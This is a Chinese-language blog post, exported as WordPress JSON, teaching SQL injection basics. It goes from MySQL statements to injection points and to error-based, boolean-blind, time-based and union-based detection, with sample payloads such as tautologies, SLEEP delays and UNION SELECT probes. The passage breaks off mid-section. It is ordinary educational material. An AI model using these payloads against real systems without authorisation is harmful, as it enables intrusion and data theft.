{"id":38,"date":"2026-04-19T17:17:56","date_gmt":"2026-04-19T09:17:56","guid":{"rendered":"https:\/\/154.12.60.178\/?p=38"},"modified":"2026-04-20T10:13:58","modified_gmt":"2026-04-20T02:13:58","slug":"sql%e6%b3%a8%e5%85%a5%e5%9f%ba%e7%a1%80","status":"publish","type":"post","link":"https:\/\/zhwj326.top\/index.php\/2026\/04\/19\/sql%e6%b3%a8%e5%85%a5%e5%9f%ba%e7%a1%80\/","title":{"rendered":"SQL\u6ce8\u5165\u57fa\u7840"},"content":{"rendered":"\n<h1 class=\"wp-block-heading has-text-align-center\">SQL\u6ce8\u5165\u6f0f\u6d1e<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">1.MYSQL<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1\uff09MYSQL\u2014\u2014\u4e00\u4e2a\u6570\u636e\u5e93<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">2)SQL\uff08\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff09\u2014\u2014\u7528\u4e8e\u5b58\u53d6\u6570\u636e\u4ee5\u53ca\u67e5\u8be2\u3001\u66f4\u65b0\u548c\u7ba1\u7406\u5173\u7cfb\u6570\u636e\u5e93\u7cfb\u7edf<\/h3>\n\n\n\n<p>php\u8fde\u63a5\u6570\u636e\u5e93\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$connect = mysqli_connect($servername, $username, $password);<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3)\u64cd\u4f5c\u6570\u636e\u5e93\uff1a<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\uff081\uff09\u589e\uff1a<code>insert into \u8868\u540d(\u5b57\u6bb51\uff0c\u5b57\u6bb52\uff0c.......\uff09values(\u503c1,\u503c2,.......);<\/code><\/h4>\n\n\n\n<p>\u63d2\u5165\u591a\u6761\u6570\u636e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>insert into \u8868\u540d<br>(\u5b57\u6bb51\uff0c\u5b57\u6bb52\uff0c.......\uff09<br>values<br>(\u503c1,\u503c2,.......),<br>(\u503c11,\u503c12,.......),<br>(\u503c21,\u503c22,.......);<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">(2)\u6539\uff1a<code>update \u8868\u540d set \u5b57\u6bb5\u540d=\"\u503c\" [where\u6761\u4ef6];<\/code><\/h4>\n\n\n\n<p>\u6ce8\uff1a\u4f7f\u7528where\u6761\u4ef6\uff0c\u53ea\u4f1a\u4fee\u6539\u6ee1\u8db3\u6761\u4ef6\u7684\u884c\uff08\u8bb0\u5f55\uff09\uff1b\u4e0d\u4f7f\u7528where\u6761\u4ef6\uff0c\u4f1a\u628a\u5b57\u6bb5\u7684\u6240\u6709\u7684\u503c \u8fdb\u884c\u4fee\u6539\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">*<strong>\uff083\uff09\u67e5<\/strong>\uff1a<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">select * from \u8868\u540d;<br>select *\/\u5b57\u6bb5 from \u8868\u540d [where\u6761\u4ef6];<\/pre>\n\n\n\n<p>\u661f\u53f7( * )\u4e3a\u901a\u914d\u7b26\uff0c\u8868\u793a\u6240\u6709 \uff1bwhere\u6761\u4ef6\u53ef\u9009<\/p>\n\n\n\n<p>\uff084\uff09\u5220\uff1a<code>delete from \u8868\u540d where \u6761\u4ef6;<\/code><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>\uff085\uff09order by\u8bed\u53e5<\/strong>\uff1a\u5bf9\u67e5\u8be2\u8fd4\u56de\u7684\u7ed3\u679c<strong>\u6392\u5e8f<\/strong><\/h4>\n\n\n\n<p><code>SELECT * FROM \u8868\u540d ORDER BY \u5217\u540d(\u5b57\u6bb5\u540d);<\/code><\/p>\n\n\n\n<p>\u6ce8\uff1a\u5f53order by \u540e\u7684\u6570\u5b57\u5927\u4e8e\u5f53\u524d\u5217\u6570(\u5b57\u6bb5\u6570)\u65f6\u4f1a\u62a5\u9519\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\uff086\uff09LIMIT\u9650\u5236\uff1a\u7528\u4e8e\u9650\u5236SELECT\u8bed\u53e5\u8fd4\u56de\u6307\u5b9a\u7684\u8bb0\u5f55\u6570\uff0c\u63a5\u53d7\u4e00\u4e2a\u6216\u4e24\u4e2a\u6570\u5b57\u53c2\u6570\u3002<\/h4>\n\n\n\n<p><code>SELECT * FROM \u8868\u540d LIMIT \u504f\u79fb\u91cf,\u9650\u5236\u6761\u6570;<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4\uff09information_schema\u6570\u636e\u5e93<\/h3>\n\n\n\n<p>mysql\u6570\u636e\u5e935.0\u4ee5\u4e0a\u81ea\u5e26information_schema\u6570\u636e\u5e93<\/p>\n\n\n\n<p>schema\u8868\uff1a\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u4fe1\u606f<\/p>\n\n\n\n<p>schema_name\u5217\uff1a\u5b58\u50a8\u6240\u6709\u6570\u636e\u5e93\u540d\u3002<\/p>\n\n\n\n<p>tables\u8868\uff1a\u63d0\u4f9b\u4e86\u5173\u4e8e\u6570\u636e\u5e93\u4e2d\u7684\u8868\u7684\u4fe1\u606f<\/p>\n\n\n\n<p>table_name\u5217\uff1a\u5b58\u50a8\u6240\u6709\u5217\u540d<\/p>\n\n\n\n<p>table_schema\u5217\uff1a\u6765\u81ea\u54ea\u4e2a\u6570\u636e\u5e93<\/p>\n\n\n\n<p>columns\u8868\uff1a\u63d0\u4f9b\u4e86\u8868\u4e2d\u7684\u5217\u4fe1\u606f<\/p>\n\n\n\n<p>column_name\u5217\uff1a\u5b58\u50a8\u6240\u6709\u5217\u540d<\/p>\n\n\n\n<p>table_name\u5217\uff1a\u6765\u81ea\u54ea\u4e2a\u6570\u636e\u8868<\/p>\n\n\n\n<p>table_schema\uff1a\u6765\u81ea\u54ea\u4e2a\u6570\u636e\u5e93<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2.sql\u6ce8\u5165<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u5206\u7c7b\uff1a<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u6839\u636e\u6ce8\u5165\u4f4d\u7f6e\u5206\u7c7b\uff1aGET\u6ce8\u5165\u3001POST\u6ce8\u5165\u3001Head\u5934\u6ce8\u5165\u3002<\/li>\n\n\n\n<li>\u6839\u636e\u7ed3\u679c\u53cd\u9988\u5206\u7c7b\uff1a\u6709\u56de\u663e\u6ce8\u5165(\u663e\u9519\u6ce8\u5165)\u3001\u65e0\u56de\u663e\u6ce8\u5165(\u76f2\u6ce8)<\/li>\n\n\n\n<li>\u6839\u636e\u6570\u636e\u7c7b\u578b\u5206\u7c7b\uff1a a. \u5b57\u7b26\u578b\u6ce8\u5165\uff1a\u5f53\u8f93\u5165\u53c2\u6570\u4e3a\u5b57\u7b26\u4e32\u65f6\uff0c\u79f0\u4e3a\u5b57\u7b26\u578b\u3002\u6570\u5b57\u578b\u4e0e\u5b57\u7b26\u578b\u6ce8\u5165\u6700\u5927\u7684\u533a\u522b\u5728\u4e8e\uff1a\u6570\u5b57\u578b \u4e0d\u9700\u8981\u5355\u5f15\u53f7\u95ed\u5408\uff0c\u800c\u5b57\u7b26\u4e32\u7c7b\u578b\u4e00\u822c\u8981\u4f7f\u7528\u5355\u5f15\u53f7\u6765\u95ed\u5408\u3002 b. \u6570\u5b57\u578b\u6ce8\u5165\uff1a\u5f53\u8f93\u5165\u7684\u53c2\u6570\u4e3a\u6574\u578b\u65f6\uff0c\u5982ID\u3001\u5e74\u9f84\u3001\u9875\u7801\u7b49\uff0c\u5982\u679c\u5b58\u5728\u6ce8\u5165\u6f0f\u6d1e\uff0c\u5219\u53ef\u4ee5\u8ba4\u4e3a\u662f\u6570 \u5b57\u578b\u6ce8\u5165\u3002<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u6ce8\u5165\u70b9\uff1a<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>1. URL \u53c2\u6570 (GET \u8bf7\u6c42)<\/strong><\/h4>\n\n\n\n<p>\u8fd9\u662f\u6700\u5e38\u89c1\u3001\u6700\u5bb9\u6613\u53d1\u73b0\u7684\u6ce8\u5165\u70b9\u3002\u53c2\u6570\u76f4\u63a5\u663e\u793a\u5728\u6d4f\u89c8\u5668\u7684\u5730\u5740\u680f\u4e2d\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u4f4d\u7f6e<\/strong>: URL \u95ee\u53f7 <code>?<\/code> \u540e\u9762\u7684\u952e\u503c\u5bf9\u3002<\/li>\n\n\n\n<li>\u793a\u4f8b\n<ul class=\"wp-block-list\">\n<li><code>http:\/\/example.com\/product.php?id=10<\/code> (\u6ce8\u5165\u70b9: <code>id<\/code>)<\/li>\n\n\n\n<li><code>http:\/\/example.com\/search?q=iphone&amp;sort=price<\/code> (\u6ce8\u5165\u70b9: <code>q<\/code>, <code>sort<\/code>)<\/li>\n\n\n\n<li><code>http:\/\/example.com\/user.php?name=admin'--<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5e38\u89c1\u53c2\u6570\u540d<\/strong>: <code>id<\/code>, <code>page<\/code>, <code>sort<\/code>, <code>order<\/code>, <code>keyword<\/code>, <code>search<\/code>, <code>cat<\/code>, <code>uid<\/code> \u7b49\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>2. \u8868\u5355\u6570\u636e (POST \u8bf7\u6c42)<\/strong><\/h4>\n\n\n\n<p>\u7528\u6237\u901a\u8fc7\u7f51\u9875\u8868\u5355\u63d0\u4ea4\u7684\u6570\u636e\uff0c\u867d\u7136\u4e0d\u5728 URL \u4e2d\u663e\u793a\uff0c\u4f46\u540c\u6837\u4f1a\u88ab\u540e\u7aef\u63a5\u6536\u5e76\u5904\u7406\u3002\u9700\u8981\u4f7f\u7528\u6293\u5305\u5de5\u5177\uff08\u5982 Burp Suite\uff09\u67e5\u770b\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u4f4d\u7f6e<\/strong>: HTTP \u8bf7\u6c42\u4f53 (Request Body) \u4e2d\u3002<\/li>\n\n\n\n<li>\u573a\u666f\n<ul class=\"wp-block-list\">\n<li>\u767b\u5f55\u6846: \u7528\u6237\u540d (<code>username<\/code>)\u3001\u5bc6\u7801 (<code>password<\/code>)\u3002\n<ul class=\"wp-block-list\">\n<li>Payload: <code>admin' OR '1'='1<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u641c\u7d22\u6846<\/strong>: \u641c\u7d22\u5173\u952e\u8bcd\u3002<\/li>\n\n\n\n<li><strong>\u6ce8\u518c\/\u4fee\u6539\u8d44\u6599<\/strong>: \u90ae\u7bb1\u3001\u6635\u79f0\u3001\u5730\u5740\u7b49\u5b57\u6bb5\u3002<\/li>\n\n\n\n<li><strong>\u8bc4\u8bba\/\u7559\u8a00<\/strong>: \u8bc4\u8bba\u5185\u5bb9\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u9690\u85cf\u6ce8\u5165\u70b9<\/strong>: \u6709\u65f6\u8868\u5355\u4e2d\u5305\u542b\u9690\u85cf\u7684 <code>input type=\"hidden\"<\/code> \u5b57\u6bb5\uff0c\u653b\u51fb\u8005\u4fee\u6539\u8fd9\u4e9b\u503c\u4e5f\u53ef\u80fd\u89e6\u53d1\u6ce8\u5165\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>3. HTTP \u8bf7\u6c42\u5934 (Headers)<\/strong><\/h4>\n\n\n\n<p>\u5f88\u591a\u5f00\u53d1\u8005\u53ea\u8fc7\u6ee4\u4e86 URL \u548c POST \u6570\u636e\uff0c\u5374\u5ffd\u7565\u4e86 HTTP \u5934\u90e8\u4fe1\u606f\u3002\u5982\u679c\u540e\u7aef\u4ee3\u7801\u5c06\u5934\u90e8\u4fe1\u606f\u8bb0\u5f55\u5230\u6570\u636e\u5e93\uff08\u5982\u65e5\u5fd7\u8868\u3001\u8bbf\u95ee\u7edf\u8ba1\uff09\u6216\u7528\u4e8e\u67e5\u8be2\uff0c\u8fd9\u91cc\u5c31\u662f\u6ce8\u5165\u70b9\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>User-Agent: \u6d4f\u89c8\u5668\u6807\u8bc6\u3002\u5f88\u591a\u7f51\u7ad9\u4f1a\u8bb0\u5f55\u8bbf\u95ee\u8005\u7684 UA \u5230\u6570\u636e\u5e93\u3002\n<ul class=\"wp-block-list\">\n<li>Payload: <code>Mozilla\/5.0 ...' AND SLEEP(5)--<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Referer<\/strong>: \u6765\u6e90\u9875\u9762\u5730\u5740\u3002<\/li>\n\n\n\n<li>X-Forwarded-For \/ Client-IP: \u7528\u6237\u771f\u5b9e IP \u5730\u5740\u3002\u5e38\u7528\u4e8e\u8bb0\u5f55\u65e5\u5fd7\u6216\u53cd\u6b3a\u8bc8\u67e5\u8be2\u3002\n<ul class=\"wp-block-list\">\n<li>Payload: <code>127.0.0.1' UNION SELECT version()--<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Cookie: \u4f1a\u8bdd\u6807\u8bc6\u6216\u4e2a\u6027\u5316\u8bbe\u7f6e\u3002\n<ul class=\"wp-block-list\">\n<li>\u573a\u666f\uff1a\u767b\u5f55\u540e\uff0c\u670d\u52a1\u5668\u53ef\u80fd\u5c06 Cookie \u4e2d\u7684\u7528\u6237 ID \u6216\u6743\u9650\u4fe1\u606f\u89e3\u5bc6\u540e\u76f4\u63a5\u7528\u4e8e SQL \u67e5\u8be2\u3002<\/li>\n\n\n\n<li>Payload: <code>session_id=abc' OR 1=1--<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>4. \u7279\u6b8a\u8f93\u5165\u4f4d\u7f6e<\/strong><\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6587\u4ef6\u4e0a\u4f20\u6587\u4ef6\u540d<\/strong>: \u5982\u679c\u6587\u4ef6\u540d\u88ab\u5b58\u5165\u6570\u636e\u5e93\uff0c\u4e14\u672a\u8fc7\u6ee4\u3002<\/li>\n\n\n\n<li>JSON\/XML \u6570\u636e\u4f53: \u73b0\u4ee3 API (RESTful\/GraphQL) \u5e38\u4f7f\u7528 JSON \u683c\u5f0f\u4f20\u8f93\u6570\u636e\u3002\n<ul class=\"wp-block-list\">\n<li>\u793a\u4f8b: <code>{\"user_id\": \"1' OR 1=1--\", \"action\": \"delete\"}<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>HTTP Method \u672c\u8eab<\/strong>: \u6781\u5c11\u89c1\uff0c\u4f46\u5982\u679c\u540e\u7aef\u89e3\u6790\u903b\u8f91\u6709\u8bef\uff0c\u53ef\u80fd\u5229\u7528\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>5. \u4e8c\u6b21\u6ce8\u5165 (Second-Order Injection)<\/strong><\/h4>\n\n\n\n<p>\u8fd9\u662f\u4e00\u79cd\u9690\u853d\u7684\u6ce8\u5165\u70b9\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u539f\u7406<\/strong>: \u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u7b2c\u4e00\u6b21\u88ab\u5b58\u5165\u6570\u636e\u5e93\u65f6\u662f\u5b89\u5168\u7684\uff08\u56e0\u4e3a\u53ea\u662f\u63d2\u5165\uff09\uff0c\u4f46\u5f53\u8fd9\u4e9b\u6570\u636e\u88ab<strong>\u518d\u6b21\u8bfb\u53d6<\/strong>\u5e76\u7528\u4e8e\u6784\u5efa\u65b0\u7684 SQL \u8bed\u53e5\u65f6\uff08\u4e14\u672a\u8fc7\u6ee4\uff09\uff0c\u5c31\u4f1a\u89e6\u53d1\u6ce8\u5165\u3002<\/li>\n\n\n\n<li>\u573a\u666f\n<ol class=\"wp-block-list\">\n<li>\u6ce8\u518c\u65f6\uff0c\u7528\u6237\u540d\u4e3a <code>admin' --<\/code> (\u5b58\u5165\u6570\u636e\u5e93)\u3002<\/li>\n\n\n\n<li>\u7ba1\u7406\u5458\u540e\u53f0\u67e5\u770b\u7528\u6237\u5217\u8868\u65f6\uff0c\u6267\u884c <code>SELECT * FROM users WHERE name = '$username'<\/code>\u3002<\/li>\n\n\n\n<li>\u6b64\u65f6 <code>$username<\/code> \u53d6\u81ea\u6570\u636e\u5e93\u4e2d\u7684\u6076\u610f\u6570\u636e\uff0c\u5bfc\u81f4\u6ce8\u5165\u53d1\u751f\u3002<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u6d4b\u8bd5\u6f0f\u6d1e\uff1a<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>A. \u57fa\u4e8e\u9519\u8bef\u7684\u6ce8\u5165 (Error-Based)<\/strong><\/h4>\n\n\n\n<p>\u8fd9\u662f\u6700\u76f4\u63a5\u7684\u5224\u65ad\u65b9\u5f0f\u3002\u901a\u8fc7\u5728\u8f93\u5165\u6846\u3001URL \u53c2\u6570\u6216 Cookie \u4e2d\u63d0\u4ea4\u8bed\u6cd5\u9519\u8bef\u7684 SQL \u8bed\u53e5\uff0c\u89c2\u5bdf\u9875\u9762\u662f\u5426\u8fd4\u56de\u6570\u636e\u5e93\u9519\u8bef\u4fe1\u606f\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6d4b\u8bd5 Payload \u793a\u4f8b\n<ul class=\"wp-block-list\">\n<li>\u5728\u53c2\u6570\u540e\u6dfb\u52a0\u5355\u5f15\u53f7\uff1a<code>id=1'<\/code><\/li>\n\n\n\n<li>\u6dfb\u52a0\u6570\u5b66\u8fd0\u7b97\uff1a<code>id=1-1<\/code> (\u6b63\u5e38\u5e94\u8fd4\u56de id=0 \u7684\u6570\u636e) vs <code>id=1'-1<\/code> (\u53ef\u80fd\u62a5\u9519)<\/li>\n\n\n\n<li>\u5e38\u89c1\u62a5\u9519\u5b57\u7b26\uff1a<code>'<\/code>, <code>\"<\/code>, <code>;<\/code>, <code>--<\/code>, <code>\/*<\/code>, <code>)<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5224\u65ad\u4f9d\u636e\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u9875\u9762\u8fd4\u56de\u7c7b\u4f3c <code>SQL syntax error<\/code>, <code>MySQL server version<\/code>, <code>ORA-01756<\/code>, <code>Unclosed quotation mark<\/code> \u7b49\u8be6\u7ec6\u7684\u6570\u636e\u5e93\u9519\u8bef\u5806\u6808\u4fe1\u606f\uff0c\u5219<strong>\u6781\u5927\u6982\u7387\u5b58\u5728\u6f0f\u6d1e<\/strong>\u3002<\/li>\n\n\n\n<li>\u73b0\u4ee3\u5e94\u7528\u901a\u5e38\u4f1a\u9690\u85cf\u9519\u8bef\u4fe1\u606f\uff0c\u5982\u679c\u9875\u9762\u76f4\u63a5\u5d29\u6e83\uff08500 Error\uff09\u6216\u884c\u4e3a\u5f02\u5e38\uff0c\u4e5f\u503c\u5f97\u6000\u7591\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>B. \u5e03\u5c14\u76f2\u6ce8 (Boolean-Based Blind)<\/strong><\/h4>\n\n\n\n<p>\u5f53\u6570\u636e\u5e93\u9519\u8bef\u88ab\u9690\u85cf\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u903b\u8f91\u5224\u65ad\u8bed\u53e5\uff0c\u89c2\u5bdf\u9875\u9762\u5185\u5bb9\u7684\u53d8\u5316\uff08\u771f\/\u5047\uff09\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6d4b\u8bd5\u903b\u8f91\n<ul class=\"wp-block-list\">\n<li>\u8bf7\u6c42 A (\u771f): <code>id=1 AND 1=1<\/code> -> \u9875\u9762\u5e94\u6b63\u5e38\u663e\u793a\u5185\u5bb9\u3002<\/li>\n\n\n\n<li>\u8bf7\u6c42 B (\u5047): <code>id=1 AND 1=2<\/code> -> \u9875\u9762\u5e94\u663e\u793a\u201c\u65e0\u7ed3\u679c\u201d\u3001\u5185\u5bb9\u7f3a\u5931\u6216\u5e03\u5c40\u9519\u4e71\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5224\u65ad\u4f9d\u636e\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u4e24\u4e2a\u8bf7\u6c42\u8fd4\u56de\u7684\u9875\u9762\u5185\u5bb9\uff08HTML \u957f\u5ea6\u3001\u7279\u5b9a\u6587\u672c\uff09\u6709\u660e\u663e\u5dee\u5f02\uff0c\u8bf4\u660e\u540e\u7aef\u6267\u884c\u4e86 SQL \u903b\u8f91\u5224\u65ad\uff0c<strong>\u53ef\u80fd\u5b58\u5728\u76f2\u6ce8\u6f0f\u6d1e<\/strong>\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>C. \u65f6\u95f4\u76f2\u6ce8 (Time-Based Blind)<\/strong><\/h4>\n\n\n\n<p>\u5f53\u9875\u9762\u65e0\u5185\u5bb9\u53d8\u5316\u4e14\u65e0\u62a5\u9519\u65f6\uff0c\u53ef\u4ee5\u8ba9\u6570\u636e\u5e93\u6267\u884c\u4f11\u7720\u547d\u4ee4\uff0c\u901a\u8fc7\u54cd\u5e94\u65f6\u95f4\u7684\u5ef6\u8fdf\u6765\u5224\u65ad\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6d4b\u8bd5 Payload \u793a\u4f8b\n<ul class=\"wp-block-list\">\n<li>MySQL: <code>id=1' AND SLEEP(5)--<\/code><\/li>\n\n\n\n<li>SQL Server: <code>id=1'; WAITFOR DELAY '0:0:5'--<\/code><\/li>\n\n\n\n<li>PostgreSQL: <code>id=1' AND PG_SLEEP(5)--<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5224\u65ad\u4f9d\u636e\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u6b63\u5e38\u8bf7\u6c42\u54cd\u5e94\u65f6\u95f4\u4e3a 0.5 \u79d2\uff0c\u800c\u6ce8\u5165 Payload \u7684\u54cd\u5e94\u65f6\u95f4\u53d8\u6210\u4e86 5.5 \u79d2\u5de6\u53f3\uff0c\u8bf4\u660e\u6570\u636e\u5e93\u6267\u884c\u4e86\u4f11\u7720\u547d\u4ee4\uff0c<strong>\u5b58\u5728\u6f0f\u6d1e<\/strong>\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>D. \u8054\u5408\u67e5\u8be2\u6ce8\u5165 (Union-Based)<\/strong><\/h4>\n\n\n\n<p>\u5c1d\u8bd5\u4f7f\u7528 <code>UNION SELECT<\/code> \u8bed\u53e5\u5c06\u6076\u610f\u67e5\u8be2\u7684\u7ed3\u679c\u5408\u5e76\u5230\u539f\u67e5\u8be2\u7ed3\u679c\u4e2d\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6d4b\u8bd5 Payload\n<ul class=\"wp-block-list\">\n<li><code>id=1' UNION SELECT NULL, NULL, NULL--<\/code> (\u5148\u6d4b\u8bd5\u5217\u6570)<\/li>\n\n\n\n<li><code>id=1' UNION SELECT 1, 2, 3--<\/code> (\u89c2\u5bdf\u9875\u9762\u4e0a\u662f\u5426\u663e\u793a\u4e86\u6570\u5b57 1, 2, 3)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u5224\u65ad\u4f9d\u636e\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u9875\u9762\u4e0a\u76f4\u63a5\u663e\u793a\u4e86\u6ce8\u5165\u7684\u6570\u5b57\u6216\u6570\u636e\u5e93\u7248\u672c\u4fe1\u606f\uff08\u5982 <code>version()<\/code>\uff09\uff0c\u5219<strong>\u786e\u8ba4\u5b58\u5728\u6f0f\u6d1e<\/strong>\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">3.\u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h2>\n\n\n\n<h4 class=\"wp-block-heading\">1.\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165<\/h4>\n\n\n\n<p>\u5229\u7528<code>'<\/code>\uff08\u5355\u5f15\u53f7\uff09\u6216\u8005<code>\"<\/code>\uff08\u53cc\u5f15\u53f7\uff09\u6765\u5224\u65ad\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\uff0c\u5982\u679c\u51fa\u73b0SQL\u8bed\u53e5\u9519\u8bef\u8bf4\u660e\u6709\u5f88\u5927\u7684\u53ef\u80fd\u4f1a \u5b58\u5728\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">2.\u5224\u65ad\u6ce8\u5165\u7c7b\u578b\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\">\u7b97\u6570\u8fd0\u7b97\u5224\u65ad\uff08\u63a8\u8350\uff09\uff1a<\/h5>\n\n\n\n<p>1.\u9996\u5148\u89c2\u5bdf\u9875\u9762\u6b63\u5e38\u56de\u663e\u5185\u5bb9\uff0c\u8f93\u5165\uff0c\u4f8b<code>id=1<\/code><\/p>\n\n\n\n<p>2.\u7136\u540e\uff0c\u4fee\u6539\u4e3a\u4e00\u4e2a\u51cf\u6cd5\u8fd0\u7b97\uff0c\u5982<code>id=2-1<\/code><\/p>\n\n\n\n<p>3.\u89c2\u5bdf\u7ed3\u679c\uff1a<\/p>\n\n\n\n<p>\u6570\u5b57\u578b\uff1a\u9875\u9762\u56de\u663e\u5185\u5bb9\u4e0e\u8bbf\u95ee<code>id=1<\/code>\u65f6\u4e00\u81f4\uff0c\u8bf4\u660e\u6570\u636e\u5e93\u6267\u884c\u4e86\u8fd0\u7b97\uff0c\u5c06\u7ed3\u679c1\u4f5c\u4e3a\u53c2\u6570\u8fdb\u884c\u67e5\u8be2<\/p>\n\n\n\n<p>\u5b57\u7b26\u578b\uff1a\u9875\u9762\u56de\u663e\u5185\u5bb9\u4e0e\u8bbf\u95ee<code>id=2<\/code>\u65f6\u4e00\u81f4\uff0c\u6216\u62a5\u9519\uff0c\u8bf4\u660e\u6570\u636e\u5e93\u5c062-1\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u6574\u4f53\u53bb\u67e5\u8be2<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u903b\u8f91\u5224\u65ad\uff1a<\/h5>\n\n\n\n<p>\uff081\uff09\u6570\u5b57\u578b\uff1a\u5f53<code>1 and 1=1<\/code>\u6210\u529f\uff0c<code>1 and 1=2<\/code>\u5931\u8d25\uff0c\u662f\u6570\u5b57\u578b<\/p>\n\n\n\n<p>\uff082\uff09\u5b57\u7b26\u578b\uff1a\u5f53<code>1' and '1'='1<\/code>\u6210\u529f\uff0c<code>1' and '1'='2<\/code>\u5931\u8d25\uff0c\u53ef\u5224\u65ad\u4e3a\u5b57\u7b26\u578b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6ce8\uff1a\u4ee5\u5b57\u7b26\u578b\u4e3a\u4f8b<br>a. \u5f53\u7528\u6237\u8f93\u51651 and 1=1\u65f6\uff0cSQL\u8bed\u53e5\u53d8\u6210\u4e86\uff1a<br>SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=1' \uff0c\u5b9e\u9645\u4e0a\u6700<br>\u7ec8\u67e5\u8be2\u7684\u8fd8\u662f'1'\u3002<br>b. \u5f53\u7528\u6237\u8f93\u51651 and 1=2\u65f6\uff0cSQL\u8bed\u53e5\u53d8\u6210\u4e86\uff1a<br>SELECT first_name, last_name FROM users WHERE user_id ='1 and 1=2' \uff0c\u5b9e\u9645\u4e0a\u6700<br>\u7ec8\u67e5\u8be2\u7684\u8fd8\u662f'1'\u3002<br>c. \u5f53\u7528\u6237\u8f93\u51651' and '1'='1\u65f6\uff0cSQL\u8bed\u53e5\u53d8\u6210\u4e86\uff1a<br>SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='1' \uff0c\u5b9e\u9645<br>\u4e0a\u6700\u7ec8\u67e5\u8be2\u7684\u662fuser_id ='1'\u5e76\u4e14'1'='1'\u3002<br>d. \u5f53\u7528\u6237\u8f93\u51651' and '1'='2\u65f6\uff0cSQL\u8bed\u53e5\u53d8\u6210\u4e86\uff1a<br>SELECT first_name, last_name FROM users WHERE user_id ='1' and '1'='2' \uff0c\u5b9e\u9645<br>\u4e0a\u6700\u7ec8\u67e5\u8be2\u7684\u662fuser_id ='1'\u5e76\u4e14'1'='2'\u3002\u56e0\u4e3a1=2\u4e0d\u6210\u7acb\uff0c\u6240\u4ee5\u6574\u6761\u8bed\u53e5\u4e5f\u90fd\u4e0d\u6210\u7acb\uff0c\u56e0<br>\u6b64\u53ef\u4ee5\u77e5\u9053\u9875\u9762\u8fd4\u56de\u4e3a\u7a7a\u662f\u7531\u4e8esql\u8bed\u53e5\u4e0d\u6210\u7acb\u5bfc\u81f4\u7684\u3002<\/pre>\n\n\n\n<h4 